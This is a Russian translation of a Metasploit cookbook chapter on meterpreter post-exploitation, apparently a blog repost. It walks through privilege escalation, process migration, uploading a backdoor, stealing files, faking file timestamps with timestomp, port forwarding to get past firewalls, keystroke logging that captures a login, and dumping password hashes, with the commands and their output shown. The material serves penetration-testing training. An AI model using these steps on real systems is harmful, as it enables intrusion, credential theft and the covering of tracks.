Metasploit Penetration Testing Cookbook – часть 5

от автора

Всем привет!

Предлагаю вам перевод четвертой части книги “Metasploit Penetration Testing Cookbook“. Смотрите также переводы:

Глава 5. Использование Meterpeter для исследования скомпрометированной цели

В этой главе рассмотрим следующее:

  • Анализ системных команд meterpreter
  • Повышение привилегий и процесс миграции
  • Настройка нескольких каналов связи с жертвой (целью)
  • Meterpreter — команды файловой системы
  • Изменение атрибутов файлов используя timestomp
  • Meterpreter — сетевые команды
  • getdesktop и клавиатурный сниффинг
  • Meterpreter — scraper скрипт

Введение

До настоящего момента мы делали упор на фазу предварительной эксплуатации, в которой пробовали различные техники и эксплоиты для компрометации жертвы. В этой главе мы будем делать упор на пост-эксплуатационную (post-exploitation) фазу, т.е. что нужно делать дальше после эксплуатации жертвы. Metasploit предоставляет очень мощный инструмент для пост-эксплуатации — meterpreter, обладающий различными свойствами/опциями, обеспечивающие исследование жертвы. В предыдущей главе мы немного затронули пост-эксплуатацию на примере обхода антивируса.

Мы используем payloads для того, чтобы достичь конкретных/специфических результатов, однако они имеют большой недостаток. Payloads создают новые процессы на целевой системе, когда работают. Это может привести к запуску тревоги в антивирусных программах/фаерволах. А также payloads могут выполнять только некоторые специфические задания/команды. Поэтому мы будет изучать meterpreter.

Meterpreter — командный интерпретатор для Metasploit, который действует в качестве payloads и работает в памяти DLL инъекции. Работает в контексте с эксплуатируемым процессом, следовательно не создает никого нового процесса. Это делает его более скрытым и мощным.

Давайте посмотрим, как функционирует meterpreter. На след. ресунке показан простая «ступенчатая» загрузка meterpreter:

img_ch5_001

На первом шаге, эксплоит и первый этап payload передается целевой машине (жертве). После эксплуатации payload пытается подключиться обратно (к MSF, msfconsole) и установить канал связи. Второй шаг загрузка DLL инъекции. После успешного выполнения инъекции, MSF посылает meterpreter DLL для установления канала связи. Наконец, meterpreter загружает расширения, такие как stdapi и priv. Все эти расширения загружены через TLS/1.0 используя TLV протокол. Meterpreter использует зашифрованное соединение с целевым пользователем, что является еще одним важным преимуществом его использования. Подведем итог:

  • работает в контексте с эксплуатируемым процессом, так что не создает новых процессов, которые можно обнаружить
  • может легко мигрировать между процессами
  • находиться полностью в памяти, следовательно ничего не пишет на диск
  • использует зашифрованные коммуникации
  • использует канальные системы связи, так что мы можем работать с несколькими каналами одновременно
  • использует платформу для написания расширений

Анализ системных команд meterpreter

Мы будем использовать машину с Windows 7 в качестве цели, которую взломали используя уязвимость браузера. Можете обратиться к главе 4 для уточнения деталей.

После компрометации системы Windows 7, имеем сессию meterpreter, после использования payload’а windows/meterpreter/bind_tcp. Начнем с простого, а именно с команды ?, которая выведет нам список доступных команд с коротким описанием:

meterpreter > ?

Взгляните на список команд. Многие из них говорят сами за себя.

Начнем с некоторых полезных системных команд:

  • background: эта команда используется для установки текущей сессии в фоновый режим, так что ее можно использовать снова и снова, когда это необходимо. Команда полезна, когда используется несколько сессий meterpreter.
  • getuid: возвращает имя пользователя под которым работаем на целевой машине:
    meterpreter > getuid Server username: DARKLORD-PC\DARKLORD

  • getpid: возвращает ID процесса, под которым работаем в meterpreter:
    meterpreter > getpid Current pid: 4124

  • ps: показывает список всех процессов на целевой машине. Полезна для идентификации служб/ПО, которые запущенны на целевой системе.
    meterpreter > ps

    PID    Name            Arch   Session  User

    ---    ----                   -------  ----

    0    [System Process]

    1072   svchost.exe 1172   rundll32.exe    x86    1        DARKLORD-PC\DARKLORD

  • sysinfo: команда для проверки системной информации, например ОС и архитектура.
    meterpreter > sysinfo  Computer        : DARKLORD-PC OS              : Windows 7 (Build 7264). Architecture    : x86 System Language : en_US Meterpreter     : x86/win32

  • shell: эта команда переносит нас в командную строку.
    meterpreter > shell  Process 4208 created. Channel 1 created. Microsoft Windows [Version 6.1.7264] Copyright (c) 2009 Microsoft Corporation. All rights reserved.

  • exit: используется для завершения meterpreter сессии.

Это были несколько полезных системных команд, которые могут быть использованы для изучения (получения информации) скомпрометированной системы. Остальные команды остаются на вас. А мы пойдем дальше (след. рецепт) и сосредоточим внимание на некоторых дополнительных командах meterpreter.

Meterpreter работает точно также, как и любой другой командный интерпретатор. Разработан, чтобы понимать и реагировать на различные вызовы через команды. Находится в контексте эксплуатируемого/взломанного процесса и создает клиент/сервер соединение с машиной пентестера.

img_ch5_002

Рисунок выше в двух словах демонстрирует функционирование meterpreter. Как только канал связи установлен, мы можем посылать командные вызовы (calls) meterpreter-серверу, чтобы получить обратный ответ/отклик (response) на нашу машину. Мы поймем связь между машиной пентестера и скомпрометированной целью довольно подробно, по мере того, как будем двигаться дальше.

Повышение привилегий и процесс миграции

В этом рецепте сосредоточим свое внимание на двух очень полезных командах meterpreter. Первая — повышение прав/привилегий на целевой системе. Вторая для перехода от одного процесса к другому (без записи чего либо на диск).

Для повышения привилегий в meterpreter используется команда getsystem. При запуске команда автоматически начинает перебирать возможные методы/техники для повышения привилегий.

meterpreter > getsystem –h  Usage: getsystem [options]  Attempt to elevate your privilege to that of local system.   OPTIONS:

 -t <opt> The technique to use. (Default to '0').

 0 : All techniques available  1 : Service - Named Pipe Impersonation (In Memory/Admin)  2 : Service - Named Pipe Impersonation (Dropper/Admin)  3 : Service - Token Duplication (In Memory/Admin)  4 : Exploit - KiTrap0D (In Memory/User)

Существуют различные способы, с помощью которых getsystem пытается повысить привилегии. Дефолтное значение 0, используется для всех перечисленных техник, если успешная попытка не была сделана. Давайте быстро просмотрим все три техники.

Named Pipe это механизм, который делает возможным меж-процессную связь (inter- process communication) для приложений происходить локальной или удаленной. Приложение, создающее «трубу» (pipe), известное как pipe-сервер и приложение, которое подключается к pipe-серверу, известное как pipe-клиент. Что позволяет серверному потоку выполнять действия от имени клиента, но в пределах контекста безопасности клиента. Проблема возникает, когда клиент имеет больше прав, чем сервер. Этот сценарий создаст атаку повышение привилегий, которая названа Named Pipe Impersonation.

Более подробную информацию по Named Pipe Impersonation можно найти -> http://hackingalert.blogspot.com/2011/12/namedpipe-impersonation-attacks.html

Каждый пользователь в ОС обладает уникальным идентификатором (token ID). Этот ID используется для проверки уровней привилегий у пользователей. Суть заключается в копировании (дубликате) ID пользователя более высокого уровня, пользователем более низшего уровня. Т.е. пользователь более низшего уровня (при дубликате ID) наследует права и привилегии более высшего пользователя.

Эксплоит KiTrapOD выпущенный в 2010 году, который затронул каждую ОС Windows. Когда доступ к 16-битным приложениям поддерживается на 32-битной x86 платформе, то она не надлежащим образом проверяет определенные вызовы BIOS. Это позволяет локальному пользователю получить привилегии, обрабатывая VDM_TIB структуру данных в Thread Environment Block (TEB); неправильно обрабатывались исключения с участием #GP обработчика ловушек (trap handler) (nt!KiTrap0D), a.k.a. «Windows Kernel Exception Handler Vulnerability.»

Теперь, когда процесс повышения привилегий у команды getsystem стал более понятен, нашим следующим шагом будет выполнение команды на целевой системе, чтобы посмотреть, что будет происходить. Сначала выполним команду getuid, чтобы проверить текущий ID пользователя, а затем повысим привилегии используя команду getsystem:

meterpreter > getuid Server username: DARKLORD-PC\DARKLORD

meterpreter > getsystem ...got system (via technique 1).

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

Как видно, сначала мы были пользователем DARKLORD. Но после выполнения getsystem (была использована первая техника) мы стали владеть правами системы.

Следующая важная команда, которую обсудим — migrate. Эта команда используется для перехода от одного процесса к другому. Она полезна в тех случаях, когда текущий процесс в котором работаем, может «рухнуть». Например, если мы используем браузерный эксплоит для взлома целевой системы, то браузер может зависнуть, после чего пользователь закроет его. Из за этого мы потеряем сессию и придется начинать заново. Поэтому миграция к стабильному процессу системы поможет завершить начатое. Мы можем перейти на любой другой активный процесс, используя его ID. Команда ps покажет все активные процессы в системе. Например, если ID explorer.exe = 2084, то можно перейти на explorer.exe выполнив след. команду:

meterpreter > migrate 2084 [*] Migrating to 2084... [*] Migration completed successfully.

Эти две команды meterpreter’а очень удобны и они часто используются при тесте на проникновение. Они просты и высоко производительны. В нашем следующем рецепте будем иметь дело с каналами связи и как их эффективно использовать использовать при «общении» с жертвой.

Настройка нескольких каналов связи с жертвой (целью)

В этом рецепте поговорим о том, как настроить несколько каналов связи с жертвой. В введении этой главы уже упоминалось о том, что в meterpreter связь между клиентом и сервером находится в зашифрованном виде и что используется протокол Type-Length-Value (TLV) для передачи данных. Основное преимущество TVL в том, что он может помечать данные с определенными номерами, таким образом, позволяет использовать нескольким программам, запущенных на жертве, общаться с meterpreter запущенном на машине пентестера. Это помогает в создании одновременно нескольких каналов связи.

Давайте теперь разберем, как настроить несколько каналов коммуникации с целевой машиной с помощью meterpreter.

Meterpreter предоставляет нам команду execute, которая может быть использована для создания нескольких каналов связи. Для начала, запустим команду execute -h, чтобы посмотреть доступные опции:

meterpreter > execute –h

Usage: execute -f file [options]

Executes a command on the remote machine.

OPTIONS:  -H        Create the process hidden from view.  -a <opt>  The arguments to pass to the command.  -c        Channelized I/O (required for interaction).  -d <opt>  The 'dummy' executable to launch when using -m.  -f <opt>  The executable command to run.  -h        Help menu.  -i        Interact with the process after creating it.  -k        Execute process on the meterpreters current desktop  -m        Execute from memory.  -s <opt>  Execute process in a given session as the session user  -t        Execute process with currently impersonated thread token

Сначала воспользуемся оператором -f, команды execute:

meterpreter > execute -f notepad.exe –c

Process 5708 created. Channel 1 created.

Обратите внимание на использование различных параметров. Параметр -f используется для установки исполняемых команд, а оператор -c используется для настройки многоканальных I/O. Теперь мы можем снова запустить команду execute, чтобы установить другой канал, без завершения текущего:

meterpreter > execute -f cmd.exe –c

Process 4472 created. Channel 2 created.

meterpreter > execute -f calc.exe –c

Process 6000 created. Channel 3 created.

Теперь у нас есть три различных каналов, работающих одновременно на зараженном компьютере. Для просмотра списка имеющихся каналов используется команда channel -l. Если хотим послать некоторые данные или написать в канал, то можно воспользоваться командой write, затем ID канала, в который хотим написать. Теперь давайте напишем сообщение в один из наших каналов:

meterpreter > write 5

Enter data followed by a '.' on an empty line:

Metasploit!! . [*] Wrote 13 bytes to channel 5.

Выполнение команды write с ID канала, побудило нас ввести данные за которыми следует точка. Мы успешно записали Metasploit!!! в канал. Для того, чтобы прочитать данные из любого канала, можем использовать команду read, за которой следует идентификатор канала.

Далее, если мы хотим взаимодействовать с каким нибудь каналом, то для этого можем воспользоваться командой interact, за которой следует ID канала:

meterpreter > interact 2 Interacting with channel 2...

Microsoft Windows [Version 6.1.7264] Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\DARKLORD\Desktop>

Этот рецепт демонстрирует силу взаимодействия нескольких каналов. Также показывает насколько легко их можно использовать/управлять. Использование каналов становит важным, когда мы запускаем несколько служб на целевой машине.

В следующем рецепте сосредоточимся на изучении файловой системы целевой машины с помощью meterpreter.

Meterpreter — команды файловой системы

В этом рецепте изучим команды файловой системы. Эти команды будут полезны в изучении целевой системы для выполнения различных задач, таких как поиск/скачивание файлов и изменение каталога. Вы увидите, как легко можно контролировать целевую систему с помощью meterpreter. И так, давайте приступим.

Начнем с команды pwd, которая показывает текущий рабочий каталог в целевой системе. Кроме того, можем воспользоваться командой cd для смены каталога:

meterpreter > pwd C:\Users\DARKLORD\Desktop

meterpreter > cd c:\

meterpreter > pwd c:\

Мы также можем использовать команду ls для вывода списка файлов в текущем каталоге.

Теперь, когда мы научились работать с каталогами, следующей задачей будет поиск файлов на диске. Для этого можно воспользоваться командой search. Например:

meterpreter > search -f *.doc -d c:\

Эта команда будет искать все файлы на диске С с расширением .doc. Параметр -f используется в качестве указания шаблона, а  параметр -d, говорит в какой директории искать файлы.

Далее будем выполнять скачивание файла:

meterpreter > download d:\secret.doc /root

[*] downloading: d:secret.doc -> /root/d:secret.doc [*] downloaded : d:secret.doc -> /root/d:secret.doc

Теперь попытаемся загрузить файлы на целевую машину:

meterpreter > upload /root/backdoor.exe d:\

[*] uploading: /root/backdoor.exe -> d:\ [*] uploaded: /root/backdoor.exe -> d:\\backdoor.exe

И наконец, команда del для удаления файлов:

meterpreter > del d:\backdoor.exe

В следующем рецепте мы рассмотрим очень интересную программу timestomp, которая может быть использована для изменения атрибутов файлов на целевой машине.

Изменение атрибутов файлов используя timestomp

Итак команда timestomp. Эта команда используется для изменения Modified-Accessed-Created-Entry (MACE) атрибутов файлов. Значениями атрибутов являются время и дата. Команда timestomp позволяет изменить эти значения у файла.

Давайте в качестве примера заберем файл с целевой машины и изменим его атрибуты. Следующий рисунок показывает атрибуты MACE перед использованием команды timestomp:

img_ch5_003

Теперь будем двигаться дальше, чтобы сменить значения MACE. Для просмотра общий значений можно воспользоваться командой timestomp -h. Давайте воспользуемся оператором -v, чтобы посмотреть список MACE атрибутов:

meterpreter > timestomp d:\secret.doc –v

Modified: 2011-12-12 16:37:48 +0530 Accessed: 2011-12-12 16:37:48 +0530 Created: 2011-12-12 16:37:47 +0530 Entry Modified: 2011-12-12 16:47:56 +0530

Начнем с изменения создания файла. Обратите внимание на различные команды передаваемые в команду timestomp:

meterpreter > timestomp d:\secret.doc -c "3/13/2013 13:13:13" [*] Setting specific MACE attributes on d:secret.doc

Оператор -c используется для изменения времени создания файла. Аналогично можем использовать -m и -a операторы для изменения атрибутов: модификация и последний доступ к файлу.

meterpreter > timestomp d:\secret.doc -m "3/13/2013 13:13:23" [*] Setting specific MACE attributes on d:secret.doc

meterpreter > timestomp d:\secret.doc -a "3/13/2013 13:13:33" [*] Setting specific MACE attributes on d:secret.doc

Как только атрибуты изменены, воспользуемся снова оператором -v, чтобы проверить, успешность выполнения команды:

meterpreter > timestomp d:\secret.doc –v

Modified: 2013-03-13 13:13:13 +0530 Accessed: 2013-03-13 13:13:23 +0530 Created: 2013-03-13 13:13:33 +0530 Entry Modified: 2013-03-13 13:13:13 +0530

Отлично! Мы успешно модифицировали MACE атрибуты файла. Теперь этот файл легко спрятать из списка недавно измененных или часто используемых файлов.

В качестве альтернативы можно использовать оператор -z, чтобы изменить все четыре MACE атрибута в файле (одним разом). Но, -z будет назначать одинаковые значения для все четырех MACE атрибутов, что практически не возможно. Так как должна быть некоторая разница во времени между созданием и доступом к файлу. Поэтому использовать оператор -z не желательно (следует избегать).

С командой timestomp все. Дальше будем смотреть на некоторые полезные сетевые команды в Meterpreter.

Meterpreter — сетевые команды

Сетевые команды в Meterpreter могут быть полезны для понимания структуры сети целевого пользователя. С их помощью можно проанализировать: принадлежит ли целевая машина к локальной сети или это автономная система. Также можем узнать диапазон IP-адресов, DNS, а также другую информацию. Такая информация о сети может быть полезна, когда будем проводить pivoting. Pivoting это концепция с помощью которой можем скомпрометировать другие машины находящиеся в сети, в которой присутствует наша цель (система, которую мы уже скомпрометировали). Мы рассмотрим pivoting в след. главе, в которой сосредоточимся на более продвинутом использовании meterpreter.

Есть три сетевых команды, предоставляемые Meterpreter. Это ipconfig, route и portfwd. Давайте быстро взглянем на каждую из них:

Команда ipconfig используется для отображения все конфигурации TCP/IP на целевой машине. В ней перечислена информация, такая как: IP-адрес цели, MAC-адрес и маска подсети:

meterpreter > ipconfig

Reliance Hardware MAC: 00:00:00:00:00:00 IP Address: 115.242.228.85 Netmask: 255.255.255.255

Software Loopback Interface 1 Hardware MAC: 00:00:00:00:00:00 IP Address: 127.0.0.1 Netmask: 255.0.0.0

Следующая сетевая команда route. Используется для отображения и изменения локальной таблицы маршрутизации на целевой машине. Выполнение команды route выводит след. таблицу:

meterpreter > route

Network routes ==============

  Subnet             Netmask            Gateway

  ------             -------            -------   0.0.0.0            0.0.0.0            115.242.228.85   115.242.228.85     255.255.255.255    115.242.228.85   127.0.0.0          255.0.0.0          127.0.0.1   127.0.0.1          255.255.255.255    127.0.0.1   127.255.255.255    255.255.255.255    127.0.0.1   192.168.56.0       255.255.255.0      192.168.56.1   192.168.56.1       255.255.255.255    192.168.56.1   192.168.56.255     255.255.255.255    192.168.56.1   224.0.0.0          240.0.0.0          127.0.0.1   224.0.0.0          240.0.0.0          192.168.56.1   224.0.0.0          240.0.0.0          115.242.228.85   255.255.255.255    255.255.255.255    127.0.0.1   255.255.255.255    255.255.255.255    192.168.56.1   255.255.255.255    255.255.255.255    115.242.228.85

Давайте выполним команду route -h, чтобы узнать, как изменить таблицу:

meterpreter > route –h

Usage: route [-h] command [args] Supported commands:

add    [subnet] [netmask] [gateway] delete [subnet] [netmask] [gateway]

Если посмотреть на вывод команды ipconfig, то увидим, что IP-адрес 115.242.228.85 используется жертвой для подключения к Интернет. Так что можно передать команде route значение 115.242.228.85 в качестве шлюза. Это поможет нам обойти Firewall (firewall bypass) на целевой машине:

meterpreter > route add 192.168.56.2 255.255.255.255 192.168.56.1

Creating route 192.168.56.2/255.255.255.255 -> 192.168.56.1

Команда delete удаляет маршрут из таблицы.

Давайте перейдем к последней сетевой команде — portfwd. Она используется для переадресации входящих TCP и/или UDP соединений с удаленными хостами. Рассмотрим след. пример, чтобы понять переадресацию портов (port forwarding).

Рассмотрим: хост «А», хост «В» (по середине) и хост «С». Хост «А» должен подключиться к хосту «С» для того, чтобы что-то сделать, но что если по каким то причинам это невозможно. Хост «В» напрямую соединяется с хостом «С».

Вот как все будет: на хосте «В» работает приложение, которое открывает TCP «слушателя» (listener) на одном из его портов, скажем порт 20. На хосте «С» тоже работает «слушатель» (listener), который используется для подключения к хосту «В», когда приходит пакет с порта 20. Так что, если «А» посылает любые пакеты на порт 20 «В», они будут автоматически перенаправляться «С».

Сначала добавим правило переадресации. Рассмотрим след. команду:

meterpreter> portfwd -a -L 127.0.0.1 -l 444 -h 69.54.34.38 -p 3389

Обратите внимание на различные параметры в команде. С параметром -a добавляется новое правило для переадресации портов. Параметр -L задает IP-адрес, чтобы привязать forwarded-сокет. Так как мы запускаем все это с хоста «А» и хотим продолжать работу с него же, то задаем IP-адрес 127.0.0.1.

-l это номер порта, который будет открыт на хосте «А» для приема входящих соединений. -h определяет IP-адрес хоста «С». -p определяет порт, к которому хотим подключиться на хосте «С».

Это была простая демонстрация использования переадресации портов (port forwarding). Такой метод активно используется, чтобы обойти брандмауэры и системы обнаружения вторжений (СОВ).

getdesktop и клавиатурный сниффинг

Давайте начнем с некоторых команд пользовательского интерфейса, с которыми будем работать в этом рецепте:

  • enumdesktops — выдает список доступных интерфейсов и станций.
    meterpreter > enumdesktops  Enumerating all accessible desktops  Desktops ========     Session   Station   Name    -------   -------   ----    0         WinSta0   Default    0         WinSta0   Disconnect    0         WinSta0   Winlogon    0         SAWinSta  SADesktop

    Как видно, все станции (desktop stations) связаны с сессией 0. Дальше будет понят, что за сессия 0.

  • getdesktop — возвращает текущий рабочий стол (desktop), в котором работает текущая meterpreter сессия.
    meterpreter > getdesktop Session 0\Service-0x0-3e7$\Default

    Вы можете связать вывод команд getdesktop и enumdesktops, чтобы понять о текущей станции, в которой работаем.

  • setdesktop — используется для смены станции, с текущей, на какую нибудь другую.
  • keyscan_start — команда запускает сниффер нажатия клавиш в текущей desktop-станции.
  • keyscan_dump — выводит запись нажатых клавиш в текущей desktop-станции.

Теперь давайте посмотрим на эти команды в режиме реального времени. Но, прежде чем двигаться дальше, получше узнаем про рабочий стол (deskpot) Windows.

Рабочий стол Windows разделен на различные сессии. Сессия 0 представляет консоль. Другие сессии, сессия 1, сессия 2 и т.д., представляют сеансы удаленного рабочего стола.

Итак, чтобы перехватить нажатие клавиш, нам нужно использовать сессию 0:

img_ch5_004

Каждая Windows desktop сессия включает в себя различные станции. В предыдущей схеме можно увидеть различные станции связанные с сеансом 0. Из этих станций, WinSta0 является единственной интерактивной станцией. Это означает, что пользователь может взаимодействовать только с WinSta0 станцией. Все остальные станции не являются интерактивными. WinSta0 состоит из трех рабочих столов (desktops): Default, Disconnect и Winlogon. Default-desktop связан с со всеми приложениями и задачами, которые мы совершаем на рабочем столе. Disconnect-desktop связан с хранителем экрана (screensaver). Winlogon-desktop связан с экраном входа в систему (Windows login screen).

Здесь следует заметить, что каждый desktop имеет свой собственный буфер клавиатуры. Если нужно сниффить нажатие клавиш с Default-desktop, то нужно убедиться, что активный браузер Meterpreter настроен на сессию 0/WinSta0/Default. Если нужно сниффить пароль входа в систему, тогда необходимо сменить активный desktop сессии на 0/WinSta0/Winlogon. Давайте рассмотрим пример, чтобы стало ясно.

Проверим наш текущий desktop с помощью команды getdesktop:

meterpreter > getdesktop Session 0\Service-0x0-3e7$\Default

Как видите, мы не в WinSta0 станции, которая является единственной интерактивной desktop-станцией. Следовательно, если мы запустим перехват нажатия клавиш, то нам ничего не вернется. Давайте изменим наш desktop на WinSta0\Default:

meterpreter > setdesktop Changed to desktop WinSta0\Default

meterpreter > getdesktop Session 0\WinSta0\Default

Итак, теперь мы готовы запустить сниффер для перехвата нажатия клавиш:

meterpreter > keyscan_start Starting the keystroke sniffer...

meterpreter > keyscan_dump Dumping captured keystrokes...

gmail.com <Return> daklord <Tab> 123123

Глядя на дамп можно понять, что пользователь зашел на gmail.com и залогинился в системе.

А что делать, если нам нужно перехватить пароль для входа в WIndows? Очевидно, что можно переключить с активного desktop на WinSta0\Winlogon, используя команду setdesktop. Но здесь мы обсудим альтернативный подход. Мы можем перейти к процессу, который выполняется во время входа в систему Windows. Выполним команду ps, чтобы проверить запущенные процессы.

Увидим, что winlogon.exe выполняется в виде процесса с идентификатором процесса. Предположим, что идентификатор процесса (PID) winlogon.exe = 1180. Теперь давайте перейдем на этот PID и проверим активный desktop еще раз:

meterpreter > migrate 1180 [*] Migrating to 1180... [*] Migration completed successfully.

meterpreter > getdesktop Session 0\WinSta0\Winlogon

Как видим, активный desktop сменился на WinSta0\Winlogo. Теперь можно запускать сниффер для перехвата пароля для входа в Windows.

Точно таким же способом можем перейти к Default-desktop (т.е. обратно), мигрируя к процессу выполняющемся на Default-desktop. Рассмотрим explorer.exe с PID = 884:

meterpreter > migrate 884 [*] Migrating to 884... [*] Migration completed successfully.

meterpreter > getdesktop Session 0\WinSta0\Default

Meterpreter — scraper скрипт

До сих пор мы узнали о нескольких командах Meterpreter. В этом рецепте поговорим о важном Meterpreter скрипте, который поможет нам еще глубже изучать целевые системы. В след. глава широко охватывает скрипты в Meterpreter, поэтому здесь мы просто сосредоточимся на запуске скриптов. Во время тестирования на проникновение требуется много времени, чтобы выявить/проанализировать информацию о целевой системе. Поэтому возможность иметь локальное хранилище (local backup)для полезной информации, может быть полезной для пентестеров, так как если цель уйдет в даун, то важная информация о ней останется и можно будет продолжать работать. Это также может быть удобно для обмена информацией с другими тестерами. Scraper  выполняет эту задачу для нас.

Scraper скрипт в Meterpreter, который может выявить много информации о скомпрометированной системе: сведения о реестре, хэши паролей, а также информацию о сети и сохранить ее локально на компьютере пентестера.

Чтобы выполнить Ruby-скрипт на целевой системе в Meterpreter, можем использовать команду run. Выполнение команды run scraper –h покажет нам список доступных параметров, которые можно использовать в скрипте.

Скрипт выполняет все автоматически. Файлы сохраняются в /root/.msf4/logs/scripts/scraper. Если выводятся ошибки во время исполнения скрипта, значит некоторые команды ему выполнить не удалось (вывод был сокращен):

meterpreter > run scraper

[*] New session on 192.168.56.1:4232... [*] Gathering basic system information... [*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_ passwd_get_sam_hashes: Operation failed: The parameter is incorrect. [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\Users\DARKLORD\AppData\Local\Temp\UKWKdpIb.reg)

Давайте посмотрим на еще один скрипт в Meterpreter для сбора информации о целевой системе.

Winenum.rb

Winenum.rb еще один Meterpreter скрипт, который собирает информацию о целевой системе и также скачивает/хранит ее на машине пентестера. Скрипт работает аналогично scraper.rb. Winenum.rb можно найти по следующему адресу:

/pentest/exploits/framework3/scripts/meterpreter/winenum.rb

Однако эта задача остается на вас.

Ждите продолжение…

ссылка на оригинал статьи http://habrahabr.ru/post/194572/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *